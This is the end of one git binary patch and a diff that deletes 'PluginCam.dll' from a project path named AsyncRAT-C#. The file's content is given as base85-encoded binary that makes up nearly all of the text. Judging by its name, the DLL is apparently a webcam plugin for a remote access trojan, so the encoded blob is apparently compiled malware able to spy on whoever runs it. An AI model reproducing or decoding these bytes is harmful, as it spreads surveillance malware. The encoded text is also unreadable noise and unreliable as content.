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ξ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 Aw*UYD diff --git a/AsyncRAT-C#/Plugin/PluginCam.dll b/AsyncRAT-C#/Plugin/PluginCam.dll deleted file mode 100644 index a0fbf75c2a3e9229b07c71873e78b9c8e1cbb46f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 55808 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 